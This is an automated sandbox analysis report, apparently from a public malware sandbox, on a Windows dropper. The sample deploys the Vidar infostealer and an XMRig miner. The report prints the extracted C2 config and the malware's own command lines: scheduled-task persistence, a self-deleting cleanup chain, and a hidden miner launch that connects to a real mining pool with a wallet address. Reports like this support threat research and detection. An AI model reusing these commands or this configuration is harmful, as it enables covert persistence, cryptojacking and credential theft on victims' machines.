Analysis

  • max time kernel
    149s
  • max time network
    117s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    09/10/2021, 07:59

General

  • Target
    SecuriteInfo.com.Trojan.MulDropNET.43.8032.30043.exe
  • Size 1.0MB
  • Sample211009-jvdymsfbfl
  • SHA256 a4135c43aee02115c239b00fad113112dd908aa3d3013337b009b423a17c441d
  • MD5 SHA1 SHA512

Malware Config

Extracted

Family
  • vidar

Version
  • 41.2

Botnet
  • 933

C2
  • https://mas.to/@serg4325

Attributes
  • profile_id

    933

Signatures

  • Vidar

    Vidar is an infostealer based on Arkei stealer.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • Vidar Stealer 2 IoCs
  • XMRig Miner Payload 2 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 12 IoCs
  • Checks BIOS information in registry 2 TTPs 4 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Loads dropped DLL 2 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Themida packer 4 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Accesses 2FA software files, possible credential harvesting 2 TTPs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 1 IoCs
  • Kills process with taskkill 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 10 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Trojan.MulDropNET.43.8032.30043.exe
    "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Trojan.MulDropNET.43.8032.30043.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:632
    • C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe
      "C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:596
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:764
        • C:\Windows\system32\schtasks.exe
          schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
          4⤵
          • Creates scheduled task(s)
          PID:3052
      • C:\Users\Admin\AppData\Roaming\services64.exe
        "C:\Users\Admin\AppData\Roaming\services64.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2648
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1340
          • C:\Windows\system32\schtasks.exe
            schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
            5⤵
            • Creates scheduled task(s)
            PID:3364
        • C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
          "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
          4⤵
          • Executes dropped EXE
          PID:2904
        • C:\Windows\explorer.exe
          C:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=41o1Bi5waqLgbkV653RD7zSYeXSWRu1wnEDzPgFDFwntSnuRx7g4HbHPqNDGS6BW1bget6yyHyrPbBcVsdR6Ebxd843bMuK.add/password --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6O4DG/ZgkwoY7/pmBv4ks3wJ7PR9JPsLklOJLkitFc6Y" --cinit-idle-wait=5 --cinit-idle-cpu=70 --tls --cinit-stealth
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3628
    • C:\Users\Admin\AppData\Local\Temp\inst001.exe
      "C:\Users\Admin\AppData\Local\Temp\inst001.exe"
      2⤵
      • Executes dropped EXE
      PID:1244
    • C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe
      "C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1988
      • C:\Users\Admin\AppData\Roaming\2446264.scr
        "C:\Users\Admin\AppData\Roaming\2446264.scr" /S
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1224
      • C:\Users\Admin\AppData\Roaming\2140917.scr
        "C:\Users\Admin\AppData\Roaming\2140917.scr" /S
        3⤵
        • Executes dropped EXE
        • Adds Run key to start application
        • Suspicious use of WriteProcessMemory
        PID:1608
        • C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
          "C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
          4⤵
          • Executes dropped EXE
          PID:1516
      • C:\Users\Admin\AppData\Roaming\2254280.scr
        "C:\Users\Admin\AppData\Roaming\2254280.scr" /S
        3⤵
        • Executes dropped EXE
        • Checks BIOS information in registry
        • Checks whether UAC is enabled
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2104
      • C:\Users\Admin\AppData\Roaming\6547046.scr
        "C:\Users\Admin\AppData\Roaming\6547046.scr" /S
        3⤵
        • Executes dropped EXE
        • Checks BIOS information in registry
        • Checks whether UAC is enabled
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3132
      • C:\Users\Admin\AppData\Roaming\8248303.scr
        "C:\Users\Admin\AppData\Roaming\8248303.scr" /S
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1804
    • C:\Users\Admin\AppData\Local\Temp\Soft1ww01.exe
      "C:\Users\Admin\AppData\Local\Temp\Soft1ww01.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Checks processor information in registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2692
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /c taskkill /im Soft1ww01.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\Soft1ww01.exe" & del C:\ProgramData\*.dll & exit
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2720
        • C:\Windows\SysWOW64\taskkill.exe
          taskkill /im Soft1ww01.exe /f
          4⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:2936
        • C:\Windows\SysWOW64\timeout.exe
          timeout /t 6
          4⤵
          • Delays execution with timeout.exe
          PID:1912

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/596-241-0x0000000001470000-0x0000000001472000-memory.dmp

        memory/596-119-0x0000000000B40000-0x0000000000B41000-memory.dmp

        memory/632-114-0x0000000000920000-0x0000000000921000-memory.dmp

        memory/1224-150-0x0000000004AA0000-0x0000000004ADE000-memory.dmp

        memory/1224-154-0x0000000004A70000-0x0000000004A71000-memory.dmp

        memory/1224-143-0x00000000002A0000-0x00000000002A1000-memory.dmp

        memory/1224-179-0x000000000D710000-0x000000000D711000-memory.dmp

        memory/1224-164-0x0000000004B40000-0x0000000004B41000-memory.dmp

        memory/1224-148-0x0000000002480000-0x0000000002481000-memory.dmp

        memory/1244-136-0x00000000014D0000-0x00000000016DE000-memory.dmp

        memory/1244-134-0x00000000014D0000-0x00000000016DE000-memory.dmp

        memory/1516-197-0x0000000004F40000-0x0000000004F41000-memory.dmp

        memory/1516-200-0x000000000E4B0000-0x000000000E4B1000-memory.dmp

        memory/1608-156-0x000000000AAD0000-0x000000000AAD1000-memory.dmp

        memory/1608-155-0x000000000AAE0000-0x000000000AAE1000-memory.dmp

        memory/1608-149-0x0000000001720000-0x000000000172C000-memory.dmp

        memory/1608-152-0x000000000AF40000-0x000000000AF41000-memory.dmp

        memory/1608-147-0x0000000001380000-0x0000000001381000-memory.dmp

        memory/1608-144-0x0000000000D90000-0x0000000000D91000-memory.dmp

        memory/1804-181-0x0000000000560000-0x0000000000561000-memory.dmp

        memory/1804-198-0x00000000047F0000-0x0000000004838000-memory.dmp

        memory/1804-199-0x0000000000DE0000-0x0000000000DE1000-memory.dmp

        memory/1804-206-0x0000000004F60000-0x0000000004F61000-memory.dmp

        memory/1804-189-0x0000000000DC0000-0x0000000000DC1000-memory.dmp

        memory/1988-135-0x000000001B3F0000-0x000000001B3F2000-memory.dmp

        memory/1988-129-0x0000000000C40000-0x0000000000C41000-memory.dmp

        memory/1988-127-0x0000000000740000-0x0000000000741000-memory.dmp

        memory/2104-182-0x0000000006720000-0x0000000006721000-memory.dmp

        memory/2104-195-0x0000000006220000-0x0000000006221000-memory.dmp

        memory/2104-167-0x00000000779F0000-0x0000000077B7E000-memory.dmp

        memory/2104-216-0x0000000007180000-0x0000000007181000-memory.dmp

        memory/2104-218-0x0000000007880000-0x0000000007881000-memory.dmp

        memory/2104-171-0x0000000000D70000-0x0000000000D71000-memory.dmp

        memory/2104-208-0x0000000006100000-0x0000000006101000-memory.dmp

        memory/2648-256-0x0000000001630000-0x0000000001632000-memory.dmp

        memory/2692-192-0x0000000000770000-0x0000000000846000-memory.dmp

        memory/2692-193-0x0000000000400000-0x00000000004D9000-memory.dmp

        memory/2692-133-0x00000000005B1000-0x000000000062E000-memory.dmp

        memory/2904-257-0x000000001C8B0000-0x000000001C8B2000-memory.dmp

        memory/3132-209-0x0000000005540000-0x0000000005541000-memory.dmp

        memory/3132-202-0x0000000005500000-0x0000000005501000-memory.dmp

        memory/3132-186-0x0000000000C00000-0x0000000000C01000-memory.dmp

        memory/3132-226-0x0000000006A90000-0x0000000006A91000-memory.dmp

        memory/3132-220-0x0000000006940000-0x0000000006941000-memory.dmp

        memory/3132-190-0x00000000054A0000-0x00000000054A1000-memory.dmp

        memory/3132-194-0x00000000779F0000-0x0000000077B7E000-memory.dmp

        memory/3132-207-0x0000000005470000-0x0000000005471000-memory.dmp

        memory/3628-261-0x0000000140000000-0x0000000140763000-memory.dmp

        memory/3628-264-0x0000000002870000-0x0000000002890000-memory.dmp

        memory/3628-265-0x0000000002890000-0x00000000028B0000-memory.dmp